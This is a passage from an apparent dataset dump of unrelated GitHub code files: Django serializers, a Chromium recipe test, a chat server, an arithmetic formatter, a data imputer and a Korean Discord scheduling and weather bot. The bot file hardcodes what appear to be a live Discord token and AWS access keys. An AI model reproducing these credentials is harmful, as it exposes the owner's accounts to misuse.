ContentUnitRichTextSerializer,\n EventsBlockSerializer,\n ImagesBlockSerializer,\n LinkSerializer,\n PersonsBlockSerializer,\n PlaysBlockSerializer,\n VideosBlockSerializer,\n)\n\nCONTENT_OBJECT_SERIALIZER_PAIRS = {\n ContentUnitRichText: ContentUnitRichTextSerializer,\n EventsBlock: EventsBlockSerializer,\n ImagesBlock: ImagesBlockSerializer,\n Link: LinkSerializer,\n PersonsBlock: PersonsBlockSerializer,\n PlaysBlock: PlaysBlockSerializer,\n VideosBlock: VideosBlockSerializer,\n}\n\n\n@extend_schema_field(\n PolymorphicProxySerializer(\n component_name=\"Content_object\",\n serializers=CONTENT_OBJECT_SERIALIZER_PAIRS.values(),\n resource_type_field_name=None,\n )\n)\nclass ContentObjectRelatedField(serializers.RelatedField):\n \"\"\"Custom related field to use for the \"content_object\" generic relationship.\"\"\"\n\n def to_representation(self, obj):\n \"\"\"Serialize content objects to a simple representation.\"\"\"\n # to think: if amount of types of objects increases may be easier to\n # get serializer_class by name (for example look for\n # SerializerMethodField sources)\n content_item_serializers = CONTENT_OBJECT_SERIALIZER_PAIRS\n\n content_item_class = obj._meta.model\n serializer_class = content_item_serializers.get(content_item_class, None)\n\n if not serializer_class:\n raise Exception(\"Unexpected type of content object block.\")\n\n serializer = serializer_class(obj, context=self.context)\n return serializer.data\n\n\nclass BaseContentSerializer(serializers.Serializer):\n \"\"\"Content (Item/Block) Serializer.\n\n 1. \"content_type\" returns type of content item\n 2. \"content_item\" recognized type of item and serialize it\n \"\"\"\n\n content_type = serializers.SlugRelatedField(\n slug_field=\"model\",\n read_only=True,\n )\n content_item = ContentObjectRelatedField(\n source=\"item\",\n read_only=True,\n )\n\n\nclass BaseContentPageSerializer(serializers.Serializer):\n \"\"\"Add `contents` field to any serializer.\"\"\"\n\n contents = BaseContentSerializer(\n many=True,\n read_only=True,\n )\n","repo_name":"Studio-Yandex-Practicum/Lubimovka_backend","sub_path":"apps/content_pages/serializers/contents.py","file_name":"contents.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"53"} +{"seq_id":"32223250393","text":"from recipe_engine import post_process\n\nPYTHON_VERSION_COMPATIBILITY = 'PY3'\n\nDEPS = [\n 'gerrit',\n 'recipe_engine/buildbucket',\n 'recipe_engine/properties',\n 'tryserver',\n]\n\n\ndef RunSteps(api):\n api.tryserver.gerrit_change_fetch_ref\n\n\ndef GenTests(api):\n yield (api.test('timeout', status=\"INFRA_FAILURE\") +\n api.buildbucket.try_build(\n 'chromium',\n 'linux',\n git_repo='https://chromium.googlesource.com/chromium/src',\n change_number=91827,\n patch_set=1) +\n api.tryserver.gerrit_change_target_ref('refs/heads/main') +\n api.override_step_data('gerrit fetch current CL info',\n times_out_after=1200) +\n api.post_process(post_process.StatusException) +\n api.post_process(post_process.DropExpectation))\n","repo_name":"iridium-browser/iridium-browser","sub_path":"third_party/depot_tools/recipes/recipe_modules/tryserver/tests/gerrit_change_fetch_ref_timeout.py","file_name":"gerrit_change_fetch_ref_timeout.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":314,"dataset":"github-code","pt":"53"} +{"seq_id":"21533636890","text":"# https://www.acmicpc.net/problem/4673\n\nnumbers = list(range(1, 10_001))\nremove_list=[] #생성자 리스트\n# 각 자리수를 더하는 반복문\nfor num in numbers:\n for n in str(num):\n num += int(n)\n\n if num <= 10_000:\n remove_list.append(num)\n\nfor remove_num in set(remove_list):\n numbers.remove(remove_num)\n\nfor self_num in numbers:\n print(self_num)","repo_name":"1c0332zz/TIL","sub_path":"Judge/Baekjoon/220811/4673_셀프 넘버.py","file_name":"4673_셀프 넘버.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"} +{"seq_id":"26097192404","text":"import time\nfrom behave import *\nfrom pages.UsuariosPage import UsuariosPage\n\n\n@when(u'Borrar usuario')\ndef step_impl(context):\n try:\n UsuariosPage.BorrarUsuario(context)\n except:\n context.driver.close()\n assert False, \"La prueba fallo en: Borrar usuario\"\n\n\n@then(u'Validar baja usuario')\ndef step_impl(context):\n try:\n UsuariosPage.ValidateToastBajaUSUARIO(context)\n context.driver.close()\n except:\n context.driver.close()\n assert False, \"La prueba fallo: Validar baja usuario\"\n\n","repo_name":"MarcosIannello/AutomationBDD_Python_selenium","sub_path":"TestAutomation/features/steps/UsuarioBaja.py","file_name":"UsuarioBaja.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"45001013970","text":"import socket\nfrom threading import *\ndef main():\n\ts = socket.socket()\n\thost='10.10.9.54'\n\tport=5010\n\ts.bind((host,port))\n\ts.listen(10)\n\tlis={}\n\tli = []\n\twhile True:\n\t\tc,addr=s.accept()\n\t\tc.send('Enter username'.encode())\n\n\t\tusern=c.recv(1024).decode()\n\t\tprint(usern+' Connected........')\n\t\tlis[c]=usern\n\t\tli.append(c)\n\n\t\tThread(target = chat,args=(lis,c,li)).start()\n\ts.close()\ndef chat(lis,c,li):\n\twhile True:\n\t\t# print('Inside While')\n\t\t# print('Inside try')\n\t\tmessage=c.recv(1024).decode()\n\t\tif(message!='q'):\n\t\t\tprint('Inside QQQ')\n\t\t\tfor user,val in lis.items():\n\t\t\t\t# print(user + ' -- ')\n\t\t\t\tprint('Dict')\n\t\t\t\t\n\t\t\t\tif c != user:\n\t\t\t\t\tuser.send((lis[c]+'-->'+message).encode())\n\t\t\t\telse:\n\t\t\t\t\tc.send(('Me==>'+message).encode())\n\t\telse:\n\t\t\tc.close()\n\t\t\tlis.pop(c)\n\t\t\tli.remove(c)\n\t\t\treturn 1\nif __name__=='__main__':\n\tmain()\n\n\n","repo_name":"jgkr95/CNF","sub_path":"M10/chatserver.py","file_name":"chatserver.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"17330856316","text":"import asyncio\r\nimport discord\r\nimport datetime\r\nimport threading\r\nimport openpyxl\r\nimport time\r\nimport random\r\nfrom discord import Member\r\nfrom discord.ext import commands\r\nfrom discord.ext.commands import Bot\r\nfrom boto3 import client\r\nimport urllib\r\nfrom urllib.request import urlopen, Request\r\nimport urllib.request\r\nfrom selenium import webdriver\r\nimport bs4\r\nfrom discord import opus\r\nfrom pprint import pprint\r\n\r\nif not discord.opus.is_loaded():\r\n\tdiscord.opus.load_opus('opus')\r\n \r\n \r\nDiscordClient = discord.Client()\r\n\r\ntoken = \"NTc1NTM1NTUwNTI2OTE0NTkw.XNJmHg.zJQSzgt6L_qVNNf3eoTIGVaz2CY\" #토큰 입력\r\n\r\n\r\n#channel = DiscordClient.get_channel('570463651170091029')\r\nchannel = DiscordClient.get_channel(580569372511174699)\r\nvoice_client = '';\r\nvc = '';\r\nserver = ''\r\nchkvoicechannel = 0\r\nyoil = ['월','화','수','목','금','토','일']\r\n\r\n\r\n\r\nasync def PlaySound(filename):\r\n global vc \r\n print('play') \r\n print(vc)\r\n \r\n vc.play(discord.FFmpegPCMAudio(filename), after=lambda e: print('done', e))\r\n vc.resume()\r\n while vc.is_playing():\r\n await asyncio.sleep(1)\r\n # disconnect after the player has finished\r\n vc.stop()\r\n\r\n \r\n\r\n\r\nasync def speak(text, filename, lang='ko'): \r\n #global server\r\n print('speak')\r\n polly = client(\"polly\", aws_access_key_id= \"AKIAUU5VCOPTVJFOIN35\", aws_secret_access_key=\"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\",region_name=\"ap-northeast-2\")\r\n response = polly.synthesize_speech(Text=text,OutputFormat=\"mp3\",VoiceId=\"Seoyeon\")\r\n stream = response.get(\"AudioStream\")\r\n full_filename = './'+filename+'.mp3'\r\n with open(full_filename, 'wb') as f:\r\n data = stream.read()\r\n f.write(data)\r\n await asyncio.sleep(1) \r\n await PlaySound(full_filename)\r\n \r\n \r\n \r\n \r\n \r\nasync def my_background_task():\r\n await DiscordClient.wait_until_ready()\r\n \r\n global channel\r\n channel = DiscordClient.get_channel(580569372511174699)\r\n \r\n if channel is not None: \r\n while not DiscordClient.is_closed():\r\n \r\n print(\"check\")\r\n \r\n now = datetime.datetime.now() #지금시간\r\n \r\n #priv = datetime.combine(date.today(), time()) + timedelta(hours=1)\r\n priv = now + datetime.timedelta(minutes=5) #1분전\r\n priv = priv.time()\r\n now = now.time()\r\n today_yoil = yoil[datetime.datetime.today().weekday()]\r\n \r\n \r\n #for a in DiscordClient.get_all_channels() :\r\n # print(a.id)\r\n #print(now)\r\n \r\n file = openpyxl.load_workbook('schedule.xlsx')\r\n sheet = file.active \r\n flag = []\r\n for i in range(1,201) :\r\n flag.append(False);\r\n \r\n for i in range(1,201) :\r\n sche_name = sheet[\"A\" + str(i)].value\r\n sche_time = sheet[\"B\" + str(i)].value\r\n sche_yoil = sheet[\"C\" + str(i)].value\r\n \r\n if sche_name is None :\r\n break \r\n \r\n \r\n \r\n sche_time = str(sche_time) \r\n now = str(now)\r\n priv = str(priv)\r\n \r\n \r\n #print (str(sche_name) + str(sche_time) + sche_yoil)\r\n #print (sche_time[0:5] + ' ' + priv[0:5] + today_yoil)\r\n \r\n if (sche_yoil == '매일' and sche_yoil != '토' and sche_yoil !='일') or sche_yoil == today_yoil:\r\n if sche_time[0:5] == now[0:5]:\r\n flag[i] = False\r\n outstring = '[' + sche_name + '] 시간 입니다.'\r\n print(outstring)\r\n await speak(outstring,'schedule'+str(i))\r\n await channel.send(outstring)\r\n\r\n \r\n if sche_time[0:5] == priv[0:5]:\r\n if flag[i] == False:\r\n flag[i] = True\r\n outstring = '[' + sche_name + '] 시작 5분 전 입니다.'\r\n print(outstring)\r\n await speak(outstring,'schedule'+str(i)) \r\n await channel.send(outstring )\r\n\r\n\r\n await asyncio.sleep(5)\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n@DiscordClient.event\r\nasync def on_ready():\r\n global channel\r\n print(\"login\")\r\n print(DiscordClient.user.name)\r\n print(DiscordClient.user.id)\r\n print(\"------------------\") \r\n channel = DiscordClient.get_channel(580569372511174699)\r\n await DiscordClient.change_presence(status=discord.Status.idle,activity=discord.Activity(name='오늘도 일과 게임'))\r\n\r\n\r\n\r\n\r\n@DiscordClient.event\r\nasync def on_message(message):\r\n #print(message)\r\n if message.author.bot: #만약 메시지를 보낸사람이 봇일 경우에는\r\n return None #동작하지 않고 무시합니다.\r\n \r\n global channel \r\n global server\r\n global voice_client\r\n global chkvoicechannel\r\n global member\r\n global vc\r\n channel = message.channel \r\n server = message.guild\r\n \r\n if message.content.startswith('!현재시간'):\r\n await channel.send('현재시간은 '+datetime.datetime.now().strftime('%H:%M:%S') + '입니다')\r\n \r\n if message.content.startswith('!스케쥴보기'):\r\n file = openpyxl.load_workbook('schedule.xlsx')\r\n sheet = file.active \r\n text = ''\r\n\r\n for i in range(1, 201):\r\n if sheet[\"A\" + str(i)].value is None and i == 1:\r\n text= \"데이터없음\"\r\n #await channel.send(channel, \"데이터 없음\")\r\n if sheet[\"A\" + str(i)].value is None:\r\n break\r\n text = text +\"\\n\" + str(i) + \" : [\"+str(sheet[\"A\" + str(i)].value) + \"]\\t\" + str(sheet[\"B\" + str(i)].value) + \"\\t\" + str(sheet[\"C\" + str(i)].value) \r\n #await channel.send(channel, str(i) + \" : [\"+str(sheet[\"A\" + str(i)].value) + \"] \" + str(sheet[\"C\" + str(i)].value) + \" \" + str(sheet[\"B\" + str(i)].value))\r\n \r\n embed = discord.Embed(title=\"등록된 알림 스케쥴리스트\", description=text, color=0x00ff00) \r\n embed.set_footer(text = datetime.datetime.now() ) \r\n await channel.send(embed=embed)\r\n \r\n \r\n \r\n \r\n if message.content.startswith('!말해'): \r\n await speak('테스트 중 입니다','test')\r\n \r\n if message.content.startswith('!나가'):\r\n if voice_client is not None: \r\n await channel.send('MEGA_BOT이 나갑니다') # 나가드림\r\n print(vc)\r\n print(voice_client)\r\n await voice_client.disconnect()\r\n chkvoicechannel = 0\r\n \r\n \r\n if message.content.startswith('!소환'):\r\n voice_client = None\r\n user=message.author\r\n \r\n if user.voice.channel: # can be None\r\n voice_client=user.voice.channel\r\n \r\n print(voice_client)\r\n \r\n if voice_client is not None:\r\n if chkvoicechannel == 0:\r\n vc = await voice_client.connect()\r\n print('1')\r\n print(vc)\r\n chkvoicechannel = 1 \r\n else :\r\n vc = await voice_client.disconnect()\r\n print('2')\r\n print(vc)\r\n voice_client=None\r\n chkvoicechannel = 0 \r\n \r\n else:\r\n await channel.send('음성채널에 먼저 들어가주세요.')\r\n \r\n\r\n \r\n if message.content.startswith('!스케쥴삭제'):\r\n file = openpyxl.load_workbook('schedule.xlsx')\r\n sheet = file.active \r\n command = message.content.split(\" \") \r\n title = command[1]\r\n chk = 0\r\n \r\n for i in range(1, 201):\r\n if sheet[\"A\"+str(i)].value == title: \r\n chk = i\r\n for j in range(i,201) :\r\n if sheet[\"A\"+str(j)].value is None: \r\n break;\r\n else :\r\n sheet[\"A\"+str(j)].value = sheet[\"A\"+str(j+1)].value\r\n sheet[\"B\"+str(j)].value = sheet[\"B\"+str(j+1)].value\r\n sheet[\"C\"+str(j)].value = sheet[\"C\"+str(j+1)].value\r\n break\r\n \r\n if chk != 0 : \r\n file.save(\"schedule.xlsx\")\r\n await channel.send(str(chk) + \": [\" + str(title) + \"] 삭제 완료\")\r\n else :\r\n await channel.send(str(title) + \"은 미등록된 스케쥴입니다\")\r\n \r\n if message.content.startswith('!스케쥴등록'):\r\n #A 스케쥴제목 \r\n #B 시간\r\n #C 요일 \r\n file = openpyxl.load_workbook('schedule.xlsx')\r\n sheet = file.active\r\n command = message.content.split(\" \")\r\n \r\n #200개 까지 등록 가능\r\n for i in range(1, 201):\r\n if sheet[\"A\"+str(i)].value == command[1]: \r\n sheet[\"B\" + str(i)].value = command[2]\r\n \r\n if len(command) < 4 : \r\n command.append(\"매일\")\r\n \r\n tmpcmd = command[2].split(\":\")\r\n \r\n if len(tmpcmd) < 3 :\r\n command[2] = command[2] + \":00\"\r\n\r\n sheet[\"C\" + str(i)].value = command[3]\r\n await channel.send(\"스케쥴 수정 완료 [\"+command[1]+\"] \"+command[2]+\" \"+command[3]);\r\n break\r\n \r\n elif sheet[\"A\"+str(i)].value is None: \r\n sheet[\"A\"+str(i)].value = command[1]\r\n sheet[\"B\" + str(i)].value = command[2]\r\n \r\n \r\n if len(command) < 4 : \r\n command.append(\"매일\")\r\n \r\n tmpcmd = command[2].split(\":\")\r\n \r\n if len(tmpcmd) < 3 :\r\n command[2] = command[2] + \":00\"\r\n \r\n \r\n sheet[\"C\" + str(i)].value = command[3]\r\n \r\n await channel.send(\"스케쥴 등록 완료 [\"+command[1]+\"] \"+command[2]+\" \"+command[3]);\r\n await channel.send(\"★ 현재 사용중인 데이터 저장용량 : \" + str(i)+\"/200 ★\")\r\n break\r\n \r\n \r\n file.save(\"schedule.xlsx\")\r\n \r\n \r\n \r\n\r\n if message.content.startswith(\"!날씨2\"):\r\n learn = message.content.split(\" \")\r\n location = learn[1]\r\n enc_location = urllib.parse.quote(location+'날씨')\r\n hdr = {'User-Agent': 'Mozilla/5.0'}\r\n url = 'https://search.naver.com/search.naver?where=nexearch&sm=top_hty&fbm=1&ie=utf8&query=' + enc_location\r\n print(url)\r\n req = Request(url, headers=hdr)\r\n html = urllib.request.urlopen(req)\r\n bsObj = bs4.BeautifulSoup(html, \"html.parser\")\r\n todayBase = bsObj.find('div', {'class': 'main_info'})\r\n\r\n todayTemp1 = todayBase.find('span', {'class': 'todaytemp'})\r\n todayTemp = todayTemp1.text.strip() # 온도\r\n print(todayTemp)\r\n\r\n todayValueBase = todayBase.find('ul', {'class': 'info_list'})\r\n todayValue2 = todayValueBase.find('p', {'class': 'cast_txt'})\r\n todayValue = todayValue2.text.strip() # 밝음,어제보다 ?도 높거나 낮음을 나타내줌\r\n print(todayValue)\r\n\r\n todayFeelingTemp1 = todayValueBase.find('span', {'class': 'sensible'})\r\n todayFeelingTemp = todayFeelingTemp1.text.strip() # 체감온도\r\n print(todayFeelingTemp)\r\n\r\n todayMiseaMongi1 = bsObj.find('div', {'class': 'sub_info'})\r\n todayMiseaMongi2 = todayMiseaMongi1.find('div', {'class': 'detail_box'})\r\n todayMiseaMongi3 = todayMiseaMongi2.find('dd')\r\n todayMiseaMongi = todayMiseaMongi3.text # 미세먼지\r\n print(todayMiseaMongi)\r\n\r\n tomorrowBase = bsObj.find('div', {'class': 'table_info weekly _weeklyWeather'})\r\n tomorrowTemp1 = tomorrowBase.find('li', {'class': 'date_info'})\r\n tomorrowTemp2 = tomorrowTemp1.find('dl')\r\n tomorrowTemp3 = tomorrowTemp2.find('dd')\r\n tomorrowTemp = tomorrowTemp3.text.strip() # 오늘 오전,오후온도\r\n print(tomorrowTemp)\r\n\r\n tomorrowAreaBase = bsObj.find('div', {'class': 'tomorrow_area'})\r\n tomorrowMoring1 = tomorrowAreaBase.find('div', {'class': 'main_info morning_box'})\r\n tomorrowMoring2 = tomorrowMoring1.find('span', {'class': 'todaytemp'})\r\n tomorrowMoring = tomorrowMoring2.text.strip() # 내일 오전 온도\r\n print(tomorrowMoring)\r\n\r\n tomorrowValue1 = tomorrowMoring1.find('div', {'class': 'info_data'})\r\n tomorrowValue = tomorrowValue1.text.strip() # 내일 오전 날씨상태, 미세먼지 상태\r\n print(tomorrowValue)\r\n\r\n tomorrowAreaBase = bsObj.find('div', {'class': 'tomorrow_area'})\r\n tomorrowAllFind = tomorrowAreaBase.find_all('div', {'class': 'main_info morning_box'})\r\n tomorrowAfter1 = tomorrowAllFind[1]\r\n tomorrowAfter2 = tomorrowAfter1.find('p', {'class': 'info_temperature'})\r\n tomorrowAfter3 = tomorrowAfter2.find('span', {'class': 'todaytemp'})\r\n tomorrowAfterTemp = tomorrowAfter3.text.strip() # 내일 오후 온도\r\n print(tomorrowAfterTemp)\r\n\r\n tomorrowAfterValue1 = tomorrowAfter1.find('div', {'class': 'info_data'})\r\n tomorrowAfterValue = tomorrowAfterValue1.text.strip()\r\n\r\n print(tomorrowAfterValue) # 내일 오후 날씨상태,미세먼지\r\n\r\n embed = discord.Embed(\r\n title=learn[1]+ ' 날씨 정보',\r\n description=learn[1]+ '날씨 정보입니다.',\r\n colour=discord.Colour.gold()\r\n )\r\n embed.add_field(name='현재온도', value=todayTemp+'˚', inline=False) # 현재온도\r\n embed.add_field(name='체감온도', value=todayFeelingTemp, inline=False) # 체감온도\r\n embed.add_field(name='현재상태', value=todayValue, inline=False) # 밝음,어제보다 ?도 높거나 낮음을 나타내줌\r\n embed.add_field(name='현재 미세먼지 상태', value=todayMiseaMongi, inline=False) # 오늘 미세먼지\r\n embed.add_field(name='오늘 오전/오후 날씨', value=tomorrowTemp, inline=False) # 오늘날씨 # color=discord.Color.blue()\r\n embed.add_field(name='**----------------------------------**',value='**----------------------------------**', inline=False) # 구분선\r\n embed.add_field(name='내일 오전온도', value=tomorrowMoring+'˚', inline=False) # 내일오전날씨\r\n embed.add_field(name='내일 오전날씨상태, 미세먼지 상태', value=tomorrowValue, inline=False) # 내일오전 날씨상태\r\n embed.add_field(name='내일 오후온도', value=tomorrowAfterTemp + '˚', inline=False) # 내일오후날씨\r\n embed.add_field(name='내일 오후날씨상태, 미세먼지 상태', value=tomorrowAfterValue, inline=False) # 내일오후 날씨상태\r\n\r\n\r\n\r\n await channel.send(embed=embed)\r\n \r\nDiscordClient.loop.create_task(my_background_task())\r\nDiscordClient.run(token)\r\n\r\n\r\n","repo_name":"yumtae/Laravel_tg","sub_path":"resources/views/bots/megabot/megabot.py","file_name":"megabot.py","file_ext":"py","file_size_in_byte":15430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"15384590205","text":"def artithmetic_arranger(List,bool):\n length_ = len(List)\n if length_ >5:\n raise ValueError(\"There must only be 5 operations\")\n tuple_list = []\n result_list=[]\n for elements in List:\n if \"+\" in elements:\n tuple_list.append(list(elements.partition(\"+\")))\n elif \"-\" in elements:\n tuple_list.append(list(elements.partition(\"-\")))\n elif \"*\" in elements:\n raise ValueError(\"Operator must be '+' or '-'\")\n elif \"/\" in elements:\n raise ValueError(\"Operator must be '+' or '-'\")\n for i in range(length_):\n for j in range(3):\n if j==1:\n pass\n else:\n str(tuple_list[i][j])\n tuple_list[i][j]=tuple_list[i][j].rjust(4)\n if(bool==True):\n for var in tuple_list:\n if(var[1]==\"+\"):\n try:\n op1 = int(var[0])\n op2 = int(var[2])\n res = op1+op2\n result_list.append(str(res))\n except:\n raise ValueError(\"Operands can only be digits\")\n else:\n try:\n op1 = int(var[0])\n op2 = int(var[2])\n res=op1-op2\n result_list.append(str(res))\n except:\n raise ValueError(\"Operands can only be digits\")\n adj_result_str=result_list[0].rjust(5)\n result_String = adj_result_str\n for var in range(1,length_):\n adj_result_str = result_list[var].rjust(5)\n result_String = result_String+\" \"+adj_result_str\n format_string = Format(tuple_list,length_)+\"\\n\"+result_String\n return format_string\n else:\n format_string = Format(tuple_list,length_)\n return format_string\n\ndef Format(element_list,length):\n if(length>0):\n format_string1 = \" \"+element_list[0][0]\n format_string2 = element_list[0][1]+element_list[0][2]\n format_string3 = \"-----\"\n for i in range(1,length):\n format_string1 = format_string1 + \" \"+element_list[i][0]\n format_string2 = format_string2 + \" \"+element_list[i][1]+element_list[i][2]\n format_string3 = format_string3 + \" \"+\"-----\"\n final_string = format_string1 + \"\\n\" + format_string2+\"\\n\"+format_string3\n return final_string\n else:\n return -1\n\nL1 = [\"1234+4231\",\"1234+2421\",\"1234+3321\",\"1123+1234\",\"9999+9999\"]\nprint(artithmetic_arranger(L1,True))","repo_name":"iPalashAcharya/PythonLearning","sub_path":"scientific computing with python/arithmetic_formatter.py","file_name":"arithmetic_formatter.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26900176125","text":"import copy\nimport functools\n\nimport numpy as np\n\nfrom federatedml.feature.fate_element_type import NoneType\nfrom federatedml.feature.instance import Instance\nfrom federatedml.statistic import data_overview\nfrom federatedml.statistic.data_overview import get_header\nfrom federatedml.statistic.statics import MultivariateStatisticalSummary\nfrom federatedml.util import LOGGER\nfrom federatedml.util import consts\n\n\nclass Imputer(object):\n \"\"\"\n This class provides basic strategies for values replacement. It can be used as missing filled or outlier replace.\n You can use the statistics such as mean, median or max of each column to fill the missing value or replace outlier.\n \"\"\"\n\n def __init__(self, missing_value_list=None):\n \"\"\"\n Parameters\n ----------\n missing_value_list: list, the value to be replaced. Default None, if is None, it will be set to list of blank, none, null and na,\n which regarded as missing filled. If not, it can be outlier replace, and missing_value_list includes the outlier values\n \"\"\"\n if missing_value_list is None:\n self.missing_value_list = ['', 'none', 'null', 'na', 'None', np.nan]\n else:\n self.missing_value_list = missing_value_list\n\n self.abnormal_value_list = copy.deepcopy(self.missing_value_list)\n for i, v in enumerate(self.missing_value_list):\n if v != v:\n self.missing_value_list[i] = np.nan\n self.abnormal_value_list[i] = NoneType()\n self.abnormal_value_set = set(self.abnormal_value_list)\n self.support_replace_method = ['min', 'max', 'mean', 'median', 'designated']\n self.support_output_format = {\n 'str': str,\n 'float': float,\n 'int': int,\n 'origin': None\n }\n\n self.support_replace_area = {\n 'min': 'col',\n 'max': 'col',\n 'mean': 'col',\n 'median': 'col',\n 'designated': 'col'\n }\n\n self.cols_fit_impute_rate = []\n self.cols_transform_impute_rate = []\n self.cols_replace_method = []\n self.skip_cols = []\n\n def get_missing_value_list(self):\n return self.missing_value_list\n\n def get_cols_replace_method(self):\n return self.cols_replace_method\n\n def get_skip_cols(self):\n return self.skip_cols\n\n def get_impute_rate(self, mode=\"fit\"):\n if mode == \"fit\":\n return list(self.cols_fit_impute_rate)\n elif mode == \"transform\":\n return list(self.cols_transform_impute_rate)\n else:\n raise ValueError(\"Unknown mode of {}\".format(mode))\n\n @staticmethod\n def replace_missing_value_with_cols_transform_value_format(data, transform_list, missing_value_list,\n output_format, skip_cols):\n _data = copy.deepcopy(data)\n replace_cols_index_list = []\n if isinstance(_data, Instance):\n for i, v in enumerate(_data.features):\n if v in missing_value_list and i not in skip_cols:\n _data.features[i] = output_format(transform_list[i])\n replace_cols_index_list.append(i)\n else:\n _data[i] = output_format(v)\n else:\n for i, v in enumerate(_data):\n if str(v) in missing_value_list and i not in skip_cols:\n _data[i] = output_format(transform_list[i])\n replace_cols_index_list.append(i)\n else:\n _data[i] = output_format(v)\n\n return _data, replace_cols_index_list\n\n @staticmethod\n def replace_missing_value_with_cols_transform_value(data, transform_list, missing_value_list, skip_cols):\n _data = copy.deepcopy(data)\n replace_cols_index_list = []\n if isinstance(_data, Instance):\n new_features = []\n for i, v in enumerate(_data.features):\n if v in missing_value_list and i not in skip_cols:\n # _data.features[i] = transform_list[i]\n new_features.append(transform_list[i])\n replace_cols_index_list.append(i)\n else:\n new_features.append(v)\n if replace_cols_index_list:\n # new features array will have lowest compatible dtype\n _data.features = np.array(new_features)\n else:\n for i, v in enumerate(_data):\n if str(v) in missing_value_list and i not in skip_cols:\n _data[i] = str(transform_list[i])\n replace_cols_index_list.append(i)\n\n return _data, replace_cols_index_list\n\n @staticmethod\n def replace_missing_value_with_replace_value_format(data, replace_value, missing_value_list, output_format):\n _data = copy.deepcopy(data)\n replace_cols_index_list = []\n if isinstance(_data, Instance):\n for i, v in enumerate(_data.features):\n if v in missing_value_list:\n _data.features[i] = replace_value\n replace_cols_index_list.append(i)\n else:\n _data[i] = output_format(_data[i])\n else:\n for i, v in enumerate(_data):\n if str(v) in missing_value_list:\n _data[i] = output_format(replace_value)\n replace_cols_index_list.append(i)\n else:\n _data[i] = output_format(_data[i])\n\n return _data, replace_cols_index_list\n\n @staticmethod\n def replace_missing_value_with_replace_value(data, replace_value, missing_value_list):\n _data = copy.deepcopy(data)\n replace_cols_index_list = []\n if isinstance(_data, Instance):\n new_features = []\n for i, v in enumerate(_data.features):\n if v in missing_value_list:\n # _data.features[i] = replace_value\n new_features.append(replace_value)\n replace_cols_index_list.append(i)\n else:\n new_features.append(v)\n if replace_cols_index_list:\n # make sure new features array has lowest compatible dtype\n _data.features = np.array(new_features)\n else:\n for i, v in enumerate(_data):\n if str(v) in missing_value_list:\n _data[i] = str(replace_value)\n replace_cols_index_list.append(i)\n\n return _data, replace_cols_index_list\n\n @staticmethod\n def __get_cols_transform_method(data, replace_method, col_replace_method):\n header = get_header(data)\n if col_replace_method:\n replace_method_per_col = {col_name: col_replace_method.get(col_name, replace_method) for col_name in header}\n else:\n replace_method_per_col = {col_name: replace_method for col_name in header}\n skip_cols = [v for v in header if replace_method_per_col[v] is None]\n\n return replace_method_per_col, skip_cols\n\n def __get_cols_transform_value(self, data, replace_method, replace_value=None):\n \"\"\"\n\n Parameters\n ----------\n data: input data\n replace_method: dictionary of (column name, replace_method_name) pairs\n\n Returns\n -------\n list of transform value for each column, length equal to feature count of input data\n\n \"\"\"\n summary_obj = MultivariateStatisticalSummary(data, -1, abnormal_list=self.abnormal_value_list)\n header = get_header(data)\n cols_transform_value = {}\n if isinstance(replace_value, list):\n if len(replace_value) != len(header):\n raise ValueError(\n f\"replace value {replace_value} length does not match with header {header}, please check.\")\n for i, feature in enumerate(header):\n if replace_method[feature] is None:\n transform_value = 0\n elif replace_method[feature] == consts.MIN:\n transform_value = summary_obj.get_min()[feature]\n elif replace_method[feature] == consts.MAX:\n transform_value = summary_obj.get_max()[feature]\n elif replace_method[feature] == consts.MEAN:\n transform_value = summary_obj.get_mean()[feature]\n elif replace_method[feature] == consts.MEDIAN:\n transform_value = summary_obj.get_median()[feature]\n elif replace_method[feature] == consts.DESIGNATED:\n if isinstance(replace_value, list):\n transform_value = replace_value[i]\n else:\n transform_value = replace_value\n LOGGER.debug(f\"replace value for feature {feature} is: {transform_value}\")\n else:\n raise ValueError(\"Unknown replace method:{}\".format(replace_method))\n cols_transform_value[feature] = transform_value\n\n LOGGER.debug(f\"cols_transform value is: {cols_transform_value}\")\n cols_transform_value = [cols_transform_value[key] for key in header]\n # cols_transform_value = {i: round(cols_transform_value[key], 6) for i, key in enumerate(header)}\n LOGGER.debug(f\"cols_transform value is: {cols_transform_value}\")\n return cols_transform_value\n\n @staticmethod\n def _transform_nan(instance):\n feature_shape = instance.features.shape[0]\n new_features = []\n\n for i in range(feature_shape):\n if instance.features[i] != instance.features[i]:\n new_features.append(NoneType())\n else:\n new_features.append(instance.features[i])\n new_instance = copy.deepcopy(instance)\n new_instance.features = np.array(new_features)\n return new_instance\n\n def __fit_replace(self, data, replace_method, replace_value=None, output_format=None,\n col_replace_method=None):\n replace_method_per_col, skip_cols = self.__get_cols_transform_method(data, replace_method, col_replace_method)\n\n schema = data.schema\n if isinstance(data.first()[1], Instance):\n data = data.mapValues(lambda v: Imputer._transform_nan(v))\n data.schema = schema\n cols_transform_value = self.__get_cols_transform_value(data, replace_method_per_col,\n replace_value=replace_value)\n self.skip_cols = skip_cols\n skip_cols = [get_header(data).index(v) for v in skip_cols]\n if output_format is not None:\n f = functools.partial(Imputer.replace_missing_value_with_cols_transform_value_format,\n transform_list=cols_transform_value, missing_value_list=self.abnormal_value_set,\n output_format=output_format, skip_cols=set(skip_cols))\n else:\n f = functools.partial(Imputer.replace_missing_value_with_cols_transform_value,\n transform_list=cols_transform_value, missing_value_list=self.abnormal_value_set,\n skip_cols=set(skip_cols))\n\n transform_data = data.mapValues(f)\n self.cols_replace_method = replace_method_per_col\n LOGGER.info(\n \"finish replace missing value with cols transform value, replace method is {}\".format(replace_method))\n return transform_data, cols_transform_value\n\n def 